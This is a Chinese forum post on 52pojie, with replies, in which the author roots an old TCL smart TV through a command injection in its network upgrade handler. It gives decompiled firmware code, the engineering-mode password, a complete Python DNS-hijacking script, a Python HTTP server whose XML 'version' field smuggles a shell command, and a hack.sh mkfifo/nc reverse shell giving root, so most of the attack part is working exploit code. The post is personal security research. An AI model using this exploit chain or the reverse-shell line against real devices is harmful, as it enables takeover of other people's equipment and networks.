吾爱破解 - LCG - LSG |安卓破解|病毒分析|破解软件|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 2866|回复: 100
上一主题 下一主题

[原创] 看我如何PWN掉一款老旧的TCL电视

  [复制链接]
跳转到指定楼层
楼主
wmsuper 发表于 2020-2-13 12:02 回帖奖励
本帖最后由 wmsuper 于 2020-2-13 11:59 编辑

0x01前言
    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视,这款电视的操作系统不是安卓,而是定制的Linux系统,
本篇主要记录Pwn该设备的思路以及过程。

0x02 信息收集
电视机型号如下:

通过简单的搜索,可以找到网友共享出来的固件TCL_MS881_MAIN.bin,运行binwalk -Me TCL_MS881_MAIN.bin对其进行解包,可以直接解出该文件系统,下图是其中一部分关键的文件:

其中的china_lite_board即为主要的执行文件,负责电视剧大部分图像显示和逻辑处理。



0x03 确定方向

1.nmap扫描端口,发现一个端口都没开,也就是说无法利用一些自带的服务,比如说telnet进入系统。
   2.解包固件打包回去,通过固件升级的方式来获取设备控制权:本身有一定的危险性,可能导致电视机直接变成砖头。
   3.在分析china_lite_board文件时,可以看到进入工程模式的密码:1950
   
进入工程模式可以看到如下选项:

找了一圈,没有找到关键点,不过其中的一个SSCOM Debug引起了我的注意,通过简单的搜索,发现这是打开串口调试的选项,但是手上没有串口线,这就很难受了。

3.利用漏洞,比如最简单的命令注入漏洞来获取控制权,一般来说,这种设备对安全不注重,会有一些漏洞产生,尤其是命令注入(比内存破坏类漏洞相对好利用),所以最后还是找找看有没有命令注入漏洞来进行突破。

0x04 发现漏洞
发现命令注入类漏洞主要的思路是找到system函数的所有的引用,再一个个得去分析,最后通过这种方法发现了一个存在于升级功能得命令注入漏洞:
     升级逻辑如下,会请求http://api.upgrade.platform.huan.tv/service/upmp/upgradeIncrInterface获取升级信息:

     服务器返回得升级信息如下:
   
[XML] 纯文本查看 复制代码
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><upgradeIncrResponse><servertime>1581142666</servertime><callid>e3567c969c2c3d4098a88b960e627804</callid><state>0000</state><note>&#230;&#229;</note><language>zh_CN</language><apiversion>1.0</apiversion></upgradeIncrResponse>

   通过字符串搜索找到了处理的代码如下:
   
[C] 纯文本查看 复制代码
undefined4 FUN_00457748(MWidget *param_1)

{
  MWidget MVar1;
  MSRV_NETWORK_LINK_STATUS_e *pMVar2;
  MSRV_NETWORK_IP_STATUS_e *pMVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  undefined4 uVar8;
  char *pcVar9;
  int local_1c8;
  int local_1c0;
  uint local_1b8;
  uint local_1b4;
  int local_1a4;
  allocator<char> aaStack412 [4];
  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack408 [4];
  basic_string abStack404 [4];
  allocator<char> aaStack400 [4];
  basic_string<char,std--char_traits<char>,std--allocator<char>> abStack396 [4];
  basic_string abStack392 [4];
  basic_string abStack388 [4];
  undefined4 local_180;
  undefined4 local_17c;
  undefined4 local_178;
  undefined4 local_174;
  undefined4 local_170;
  undefined4 local_16c;
  undefined4 local_168;
  undefined4 local_164;
  undefined4 local_160;
  undefined4 local_15c;
  allocator aaStack344 [52];
  undefined4 local_124;
  undefined2 local_120;
  undefined auStack286 [46];
  statfs asStack240 [2];
  double local_38;
  double local_30;
  double local_28;
  double local_20;
  uint local_18;
  
     /*..............................*/
      printf("\n[csheng]portalfeedback ==POTAL_FEEDBACK_SUCCESS ..[%s][%d]",
             "./src/NetUpdateFrame.cpp",0x51f);
      *(char *)(param_1 + 0x1f1) = (char)param_1[0x1f1] + '\x01';
      Set((short)*(undefined4 *)(param_1 + 0x1d8) + 0x250);
      Invalidate();
      if (param_1[0x3a00] == (MWidget)0x1) {
        printf("\n[csheng]call_C_MApp_GetPotalData begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
               0x527);
        uVar8 = call_C_MApp_GetPotalData(0x20,"/Customer/portal/swupg/update.xml");
        *(undefined4 *)(param_1 + 0x3a10) = uVar8;
        printf("\n[csheng]call_C_MApp_GetPotalData->portalfeedback=%d ...[%s][%d]\n",
               *(undefined4 *)(param_1 + 0x3a10),"./src/NetUpdateFrame.cpp",0x529);
      }
      if (*(int *)(param_1 + 0x3a10) == 1) {
        puts("=======SUCCESS========");
        if (param_1[0x3a00] == (MWidget)0x1) {
          printf("\n[csheng]call_C_ParseNewUpdateXml begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
                 0x530);
          param_1[0x38c] = (MWidget)0x0;
          //解析xml文件
          uVar8 = call_C_ParseNewUpdateXml
                            (param_1 + 0x1f8,param_1 + 0x39e8,"/Customer/portal/swupg/update.xml");
          *(undefined4 *)(param_1 + 0x3a0c) = uVar8;
          printf("\n[csheng]call_C_ParseNewUpdateXml->ret=%d,totoalnums=%d...[%s][%d]\n",
                 *(undefined4 *)(param_1 + 0x3a0c),*(undefined4 *)(param_1 + 0x39e8),
                 "./src/NetUpdateFrame.cpp",0x533);
          printf("\n[csheng]updateinfo->index=%d",*(undefined4 *)(param_1 + 0x78c));
          printf("\n[csheng]updateinfo->md5=%s",param_1 + 0x35a);
          printf("\n[csheng]updateinfo->note=%s",param_1 + 0x38c);
          printf("\n[csheng]updateinfo->size=%s",param_1 + 0x238);
          printf("\n[csheng]updateinfo->source=%s",param_1 + 0x256);
          printf("\n[csheng]updateinfo->title=%s",param_1 + 0x21a);
          printf("\n[csheng]updateinfo->type=%s",param_1 + 0x1f8);
          printf("\n[csheng]updateinfo->url=%s",param_1 + 0x25b);
          printf("\n[csheng]updateinfo->version=%s\n",param_1 + 0x1fc);
        }
        if (*(int *)(param_1 + 0x3a0c) == -1) {
          puts("parse xml file error!");
          return 1;
        }
        puts("\n=======Start Download Package======");
        if (*(int *)(param_1 + 0x39e8) < 1) {
          puts("=======None update info=========");
          param_1[500] = (MWidget)0x2;
          Hide();
          Hide();
          Hide();
          Hide();
          Hide();
          Show();
          SetInitialFocus(param_1);
          SwitchFocusTo(param_1);
          Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
          Invalidate();
          param_1[499] = (MWidget)0x3;
          KillTimer((ulong)param_1);
          return 1;
        }
        doUpgrdOnce = 1;
        printf("\n[csheng]totoalnums>0,..[%s][%d]","./src/NetUpdateFrame.cpp",0x546);
        if (param_1[0x3a00] == (MWidget)0x1) {
          puts("\r\n=====NoteFlag=1======");
          basic_ostringstream((_Ios_Openmode)asStack240);
          param_1[0x3a00] = (MWidget)0x0;
          param_1[500] = (MWidget)0x0;
          Hide();
          Hide();
          Hide();
          Hide();
          Hide();
          Show();
          SwitchFocusTo(param_1);
          if (param_1[0x38c] == (MWidget)0x0) {
            Set((short)*(undefined4 *)(param_1 + 0x1a4) + 0x160);
          }
          else {
            operator<<<std--char_traits<char>>
                      ((basic_ostream *)asStack240,(char *)(param_1 + 0x38c));
            iVar4 = *(int *)(param_1 + 0x1a4);
            str();
            operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                      (iVar4 + 0x164),abStack388);
            ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                          abStack388);
          }
          SetFlag((char)*(undefined4 *)(param_1 + 0x1a4) + '`','\x01');
          Invalidate();
          param_1[499] = (MWidget)0xc;
          KillTimer((ulong)param_1);
          ~basic_ostringstream
                    ((basic_ostringstream<char,std--char_traits<char>,std--allocator<char>> *)
                     asStack240);
          return 1;
        }
        SetTimer((ulong)param_1,1000,1);
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x56c);
          lVar6 = atol((char *)(param_1 + 2000));
          if (lVar6 < 0) {
            lVar6 = lVar6 + 0xfffff;
          }
          *(long *)(param_1 + 0x4688) = (lVar6 >> 0x14) + 1;
        }
        iVar4 = strncmp((char *)(param_1 + 0x256),"300",4);
        if (iVar4 == 0) {
          printf("\n[csheng]source=300..[%s][%d]","./src/NetUpdateFrame.cpp",0x571);
          pcVar9 = (char *)GetInstance();
          iVar4 = GetUSBMountPath(pcVar9);
          if (iVar4 == 0) {
            printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x58f);
            param_1[500] = (MWidget)0x3;
            Hide();
            Hide();
            Hide();
            Hide();
            Hide();
            Show();
            SwitchFocusTo(param_1);
            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
            Invalidate();
            param_1[499] = (MWidget)0x4;
            KillTimer((ulong)param_1);
            return 1;
          }
          puts("=======Find USB Device============");
          pcVar9 = (char *)GetInstance();
          iVar4 = GetUSBContainer(pcVar9);
          SetTimer((ulong)param_1,500,2);
          lVar6 = atol((char *)(param_1 + 0x238));
          if (lVar6 < 0) {
            lVar6 = lVar6 + 0xfffff;
          }
          if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
            param_1[500] = (MWidget)0x3;
            Hide();
            Hide();
            Hide();
            Hide();
            Hide();
            Show();
            SwitchFocusTo(param_1);
            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
            Invalidate();
            param_1[499] = (MWidget)0x5;
            KillTimer((ulong)param_1);
            return 1;
          }
          local_180 = 0;
          local_17c = 0;
          local_178 = 0;
          local_174 = 0;
          local_170 = 0;
          pcVar9 = (char *)GetInstance();
          GetUSBMountPath(pcVar9);
          sprintf(Downloadaddress,"%s/%s",&local_180,param_1 + 0x21a);
          strcpy(DownloadPath,(char *)&local_180);
        }
        else {
          iVar4 = strncmp((char *)(param_1 + 0x256),"100",4);
          if (iVar4 == 0) {
            printf("\n[csheng]source=100..[%s][%d]","./src/NetUpdateFrame.cpp",0x5a1);
            pcVar9 = (char *)GetInstance();
            iVar4 = GetUSBMountPath(pcVar9);
            if (iVar4 == 0) {
              printf("\n[csheng]no usb..[%s][%d]","./src/NetUpdateFrame.cpp",0x5c1);
              param_1[500] = (MWidget)0x3;
              Hide();
              Hide();
              Hide();
              Hide();
              Hide();
              Show();
              SwitchFocusTo(param_1);
              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
              Invalidate();
              param_1[499] = (MWidget)0x4;
              KillTimer((ulong)param_1);
              return 1;
            }
            puts("=======Find USB Device============");
            pcVar9 = (char *)GetInstance();
            iVar4 = GetUSBContainer(pcVar9);
            SetTimer((ulong)param_1,500,2);
            lVar6 = atol((char *)(param_1 + 0x238));
            if (lVar6 < 0) {
              lVar6 = lVar6 + 0xfffff;
            }
            if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
              printf("\n[csheng]USB Contain have not enough space!!!..[%s][%d]",
                     "./src/NetUpdateFrame.cpp",0x5a9);
              param_1[500] = (MWidget)0x3;
              Hide();
              Hide();
              Hide();
              Hide();
              Hide();
              Show();
              SwitchFocusTo(param_1);
              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
              Invalidate();
              param_1[499] = (MWidget)0x5;
              KillTimer((ulong)param_1);
              return 1;
            }
            local_16c = 0;
            local_168 = 0;
            local_164 = 0;
            local_160 = 0;
            local_15c = 0;
            pcVar9 = (char *)GetInstance();
            GetUSBMountPath(pcVar9);
            sprintf(Downloadaddress,"%s/%s",&local_16c,param_1 + 0x1fc);
            strcpy(DownloadPath,(char *)&local_16c);
          }
        }
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          printf("\n[csheng]source=200..[%s][%d]","./src/NetUpdateFrame.cpp",0x5e1);
          sprintf(DownloadMbootAddress,"%s/%s",DownloadPath,param_1 + 0x7b2);
          pcVar9 = (char *)GetInstance();
          DeleteOtherUpdateFileForMboot(pcVar9,DownloadPath);
        }
        if (local_1a4 < 99) {
          printf("\n[csheng]intpercentage=%d,debugline..[%s][%d]",local_1a4,
                 "./src/NetUpdateFrame.cpp",0x5ec);
          param_1[500] = (MWidget)0x5;
          param_1[499] = (MWidget)0x1a;
          Show();
          Hide();
          Hide();
          Hide();
          Hide();
          Hide();
          SetInitialFocus(param_1);
          SwitchFocusTo(param_1);
          SetCurValue(*(long *)(param_1 + 0x1e4));
          iVar4 = *(int *)(param_1 + 0x1e8);
          allocator();
          basic_string((char *)abStack396,aaStack344);
          operator+<char,std--char_traits<char>,std--allocator<char>>(abStack392,(char *)abStack396)
          ;
          operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                    (iVar4 + 0x164),abStack392);
          ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)abStack392
                       );
          ~basic_string(abStack396);
          ~allocator(aaStack400);
          Invalidate();
          Invalidate();
        }
        param_1[0x39f4] = (MWidget)0x0;
        printf("\n[csheng]check data space for update..[%s][%d]","./src/NetUpdateFrame.cpp",0x600);
        local_1b4 = 0;
        local_124 = 0x7461642f;
        local_120 = 0x61;
        memset(auStack286,0,0x2c);
        system("/system/bin/stop zygote");
        system("umount -l /mnt/sdcard");
        iVar4 = statfs("/data",asStack240);
        if (-1 < iVar4) {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x61e);
          local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks);
          printf("\r\n u16USBFreeSpace=%ld",local_1b4,
                 ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
                 (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20
                      ));
        }
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x638);
          lVar6 = atol((char *)(param_1 + 0x238));
          lVar7 = atol((char *)(param_1 + 2000));
          local_1b8 = lVar6 + lVar7;
        }
        else {
          printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x63d);
          local_1b8 = atol((char *)(param_1 + 0x238));
        }
        printf("\r\n LoadFilesize=%d",local_1b8);
        if (local_1b4 < local_1b8) {
          printf("\r\n LoadFilesize11=%d",local_1b8);
          pcVar9 = (char *)GetInstance();
          iVar4 = ListFilesDir(pcVar9);
          if (iVar4 == 0) {
            system("/bin/tools/ls -al");
            printf("\r\n remove finished");
          }
          iVar4 = statfs("/data",asStack240);
          if (-1 < iVar4) {
            local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks
                              );
            printf("\r\n u16USBFreeSpace22=%ld",local_1b4,
                   ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
                   (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >>
                        0x20));
          }
          if (local_1b4 < local_1b8) {
            system("rm -rf /data/*");
            system("/bin/tools/ls -al");
            sync();
            puts("\r\n rm all ");
          }
        }
        iVar4 = strncmp((char *)(param_1 + 0x256),"200",4);
        if (iVar4 == 0) {
          puts("\nmboot down thread start");
          mbootthreadstatus = 1;
        }
        else {
          puts("\nmain code down thread start");
          codethreadstatus = 1;
        }

        //下载升级包
        iVar4 = pthread_create((pthread_t *)(param_1 + 0x3a04),(pthread_attr_t *)0x0,
                               call_C_Autodownloadpackage,param_1 + 0x1f8);
        SetTimer((ulong)param_1,1000,3);
        if (iVar4 == 0) {
          puts("Create DOWNLOAD thread SUCCESS");
        }
        else {
          printf(" Couldn\'t create DOWNLOAD thread  --errno: %d\n",iVar4);
        }
        iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
        if (iVar4 == 0) {
          puts("\nComing to creat thread of mboot");
          pthread_create((pthread_t *)(param_1 + 0x3a08),(pthread_attr_t *)0x0,downloadpackage,
                         param_1 + 0x790);
        }
        lVar6 = atol((char *)(param_1 + 0x238));
        printf(
               "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmain=%ld------671-------//\n"
               ,lVar6);
        lVar6 = atol((char *)(param_1 + 2000));
        printf(
               "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmboot=%ld------671-------//\n"
               ,lVar6);
        return 1;
      }
      puts("=======FAILURE=======......................==");
      param_1[500] = (MWidget)0x2;
      Hide();
      Hide();
      Hide();
      Hide();
      Hide();
      Show();
      SetInitialFocus(param_1);
      SwitchFocusTo(param_1);
      Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
      Invalidate();
      param_1[499] = (MWidget)0x7;
      KillTimer((ulong)param_1);
      return 1;
    }
  }
  KillTimer((ulong)param_1);
  return 1;
}



进入下载升级包的流程:




下载之前删除之前下载过的数据包,会将服务端传过来的version直接拼接到命令行中,没有进行任何验证(命令注入漏洞):


0x05 漏洞利用
   在上面的分析已经介绍了漏洞的成因,主要是没对服务端传过来的version字段进行过滤,那么问题来了,如何伪造服务端的响应触发漏洞?
   DNS劫持
通过将api.upgrade.platform.huan.tv解析到恶意构造的80主机即可,参考别人写的dns劫持代码如下:
[Python] 纯文本查看 复制代码
#!/usr/bin/python
import socket
import struct
import time
import logging
from logging.handlers import RotatingFileHandler

LOG = logging.getLogger('myip')
LOG.setLevel(logging.INFO)
FORMATTER = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
HANDLER = RotatingFileHandler('myip.log', maxBytes=512000, backupCount=10)
HANDLER.setFormatter(FORMATTER)
LOG.addHandler(HANDLER)

DELAY = 50
MAXSUBDOMAINS = 3
HIAJACK_LIST = [
   "api.upgrade.platform.huan.tv"

]

LASTQUERY = time.time()

def queryfilter(query, source):
    global LASTQUERY
    elapsed = time.time() - LASTQUERY
    if not query.domain:
        LOG.warning("ignoring query because it has no data. source: %s", source)
        return False
    '''
    if elapsed < DELAY:
        LOG.warning("ignoring query because of delay. delay: %i, domain: %s, source: %s", elapsed, query.domain, source)
        return False
 
    if len(query.domain.split(".")) > MAXSUBDOMAINS:
        LOG.warning("ignoring query because of too many subdomains. domain: %s, source: %s", query.domain, source)
        return False
    '''
    for bl_domain in HIAJACK_LIST:
        if bl_domain.lower() in query.domain.lower():
            LOG.warning("hijack query for blacklisted domain. domain: %s, source: %s", query.domain, source)
            return True
    return False

def _get_question_section(query):
    # Query format is as follows: 12 byte header, question section (comprised
    # of arbitrary-length name, 2 byte type, 2 byte class), followed by an
    # additional section sometimes. (e.g. OPT record for DNSSEC)
    start_idx = 12
    end_idx = start_idx

    num_questions = (ord(query.data[4]) << 8) | ord(query.data[5])

    while num_questions > 0:
        while query.data[end_idx] != '\0':
            end_idx += ord(query.data[end_idx]) + 1
        # Include the null byte, type, and class
        end_idx += 5
        num_questions -= 1

    return query.data[start_idx:end_idx]

class DNSResponse(object):
    def __init__(self, query):
        self.id = query.data[:2]  # Use the ID from the request.
        self.flags = "\x81\x80"  # No errors, we never have those.
        self.questions = query.data[4:6]  # Number of questions asked...
        # Answer RRs (Answer resource records contained in response) 1 for now.
        self.rranswers = "\x00\x01"
        self.rrauthority = "\x00\x00"  # Same but for authority
        self.rradditional = "\x00\x00"  # Same but for additionals.
        # Include the question section
        self.query = _get_question_section(query)
        # The pointer to the resource record - seems to always be this value.
        self.pointer = "\xc0\x0c"
        # This value is set by the subclass and is defined in TYPE dict.
        self.type = None
        self.dnsclass = "\x00\x01"  # "IN" class.
        # TODO: Make this adjustable - 1 is good for noobs/testers
        self.ttl = "\x00\x00\x00\x01"
        # Set by subclass because is variable except in A/AAAA records.
        self.length = None
        self.data = None  # Same as above.

    def answer(self):
        try:
            return self.id + self.flags + self.questions + self.rranswers + \
                self.rrauthority + self.rradditional + self.query + \
                self.pointer + self.type + self.dnsclass + self.ttl + \
                self.length + self.data
        except (TypeError, ValueError):
            pass

class A(DNSResponse):
    def __init__(self, query, ip):
        super(A, self).__init__(query)
        self.type = "\x00\x01"
        self.length = "\x00\x04"
        self.data = ''.join(chr(int(x)) for x in ip.split('.'))

class DNSQuery:
    def __init__(self, data):
        self.data = data
        self.domain = ''

        tipo = (ord(data[2]) >> 3) & 15   # Opcode bits
        if tipo == 0:                     # Standard query
            ini = 12
            lon = ord(data[ini])
            while lon != 0:
                self.domain += data[ini+1:ini+lon+1]+'.'
                ini += lon+1
                lon = ord(data[ini])
#            self.type = data[ini:][1:3]
#            #print struct.unpack(">H", self.type)
#        else:
#            self.type = data[-4:-2]
hijack_ip='192.168.137.77'
if __name__ == '__main__':
    udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udps.bind(('', 53))
    try:
        while 1:
            data, addr = udps.recvfrom(1024)
            try:
                q = DNSQuery(data)
    
                if queryfilter(q, addr[0]):
                    print addr[0]
        
                    r = A(q, hijack_ip)
                    LOG.info('%s -> %s', q.domain, addr[0])
                    udps.sendto(r.answer(), addr)
           
                LASTQUERY = time.time()
            except Exception, err:
                LOG.warning("Exception caused by %s: %s", addr, err)
                # We don't send data since address could be spoofed
                #udps.sendto("Invalid request", addr)

    except KeyboardInterrupt:
      print 'Closing'
      udps.close()


再编写一个http服务器来响应升级请求,同时插入恶意构造的代码,该代码会直接执行U盘目录下的hack.sh文件:
[Python] 纯文本查看 复制代码
# coding:utf-8

import socket
import time
import threading


def handle_client(client_socket):
    """
    处理客户端请求
    """
    request_data = client_socket.recv(1024)
    print("request data:", request_data)
    # 构造响应数据
    response_start_line = "HTTP/1.1 200 OK\r\n"
 
    response_body = '''
<?xml version="1.0" encoding="utf-8"?>
<upgradeIncrResponse>
  <servertime>%d</servertime>
  <callid>e3567c969c2c3d4098a88b960e627804</callid>
  <state>0000</state>
  <note>nihao</note>
  <language>zh_CN</language>
  <upgrade> 
    <type>100</type>  
    <apptype>100</apptype>  
    <title>123</title>  
    <md5>123</md5>  
    <version>test'`;sh ./hack.sh;echo `echo '1</version>  
    <size>5</size>  
    <note>pwn by wmsuper</note>  
    <fileurl>[url]http://192.168.137.77[/url]</fileurl>  
    <appid>1</appid> 
  </upgrade>
</upgradeIncrResponse>'''%(int(time.time()))
    #response_body='''<?x><callid>e3567c969c2c3d4098a88b960e627804</callid><state>0000</state><note>nihao</note><language>zh_CN</language><apiversion>1.0</apiversion><upgrade><type>100</type><apptype>100</apptype><title>test</title><md5>123</md5><version>1.3</version><size>5</size><note>nihao</note><fileurl>[url]http://www.baidu.com[/url]</fileurl><appid>1</appid></upgrade></upgradeIncrResponse>'''
    response_headers = "Server: My server\r\n"+"Content-Type: application/xml;charset=UTF-8\r\n"+"Content-Length: %d\r\n"%len(response_body)

    response = response_start_line + response_headers + "\r\n" + response_body

    # 向客户端返回响应数据
    client_socket.send(response)

    # 关闭客户端连接
    #client_socket.close()


if __name__ == "__main__":
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(("", 80))
    server_socket.listen(128)

    while True:
        client_socket, client_address = server_socket.accept()
        print("[%s, %s]用户连接上了" % client_address)
        handle_client_process = threading.Thread(target=handle_client, args=(client_socket,))
        handle_client_process.start()
       


hack.sh文件内容如下:
[Bash shell] 纯文本查看 复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.137.1 8848 >/tmp/f


0x06 利用效果
在按下通过网络升级的按钮之后,电视机会提示升级的选项框:
   
  点击确定,会触发version字段的恶意代码,执行U盘的反弹shell代码(之前得在主机运行nc -lvp 8848 来监听反弹回来的shell)


反弹的shell如下,身份是root,到这里可以说已经完全控制该电视了:


CPU有点渣,没啥可玩性:


     

免费评分

参与人数 27吾爱币 +26 热心值 +25 收起 理由
pcjy + 1 + 1 我很赞同!
clevey + 1 谢谢@Thanks!
Myitmx + 1 + 1 谢谢@Thanks!
夜深梦微凉 + 1 + 1 谢谢@Thanks!
而立 + 1 我很赞同!看不懂只知道你很厉害!
initm + 1 + 1 热心回复!
mr0zcj + 1 + 1 热心回复!
chenduoduo + 1 膜拜
zyjsuper + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
笙若 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
酷酷的囍 + 1 大佬真厉害
minisys + 1 + 1 我很赞同!
一块大骨头 + 1 + 1 我很赞同!
微若清风 + 1 + 1 谢谢@Thanks!
czstara12 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
迎风三尺郎 + 1 + 1 用心讨论,共获提升!
wukuili + 1 + 1 厉害厉害 学习学习
耳食之辈 + 1 谢谢@Thanks!
fih + 1 + 1 热心回复!
panwanpeng + 2 + 1 没看到cpu啊
tzxinqing + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
ppx5 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
_小白 + 1 + 1 用心讨论,共获提升!
Assass + 1 + 1 热心回复!
wangyujie96 + 1 + 1 厉害了!
R-R, + 1 + 1 K少牛b
梦游枪手 + 2 + 1 晴天师傅牛逼!!!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Assass 发表于 2020-2-13 12:31
看的一脸懵逼,但是还是给大佬点赞。
推荐
尔东 发表于 2020-2-13 12:10
推荐
 楼主| wmsuper 发表于 2020-2-14 09:27 <
雪莱鸟 发表于 2020-2-13 23:56
刚把你这篇文章发给TCL原同事做开发的,回复一句“真是个人才”

哈哈,国内这些厂商提漏洞也没奖金,所以干脆发出来让大伙学习学习。
推荐
andyle 发表于 2020-2-13 12:38
这真是纯折腾了
电视机,我只求能正常开启,收看就好了,实在要折腾就上单独的机顶盒了
实在懒了,就直接电脑连接下完事了
推荐
中国新蔡 发表于 2020-2-13 12:15
牛皮,大佬6666666
4#
雪莱鸟 发表于 2020-2-13 12:19
不错,以前还在TCL工作过,MS881板卡确实不咋地。
5#
bhcjl 发表于 2020-2-13 12:20
大神能不能把创维的做个教程  root最好
6#
蜉蝣SK 发表于 2020-2-13 12:25
看不懂,但是还是赞一个
7#
csp0227 发表于 2020-2-13 12:30
楼主厉害的,我等就只能看看l
9#
0920jt 发表于 2020-2-13 12:32
进来看看高手
10#
Mouli2015 发表于 2020-2-13 12:34
谢谢分享经验。。。。。。。。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2020-2-18 19:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表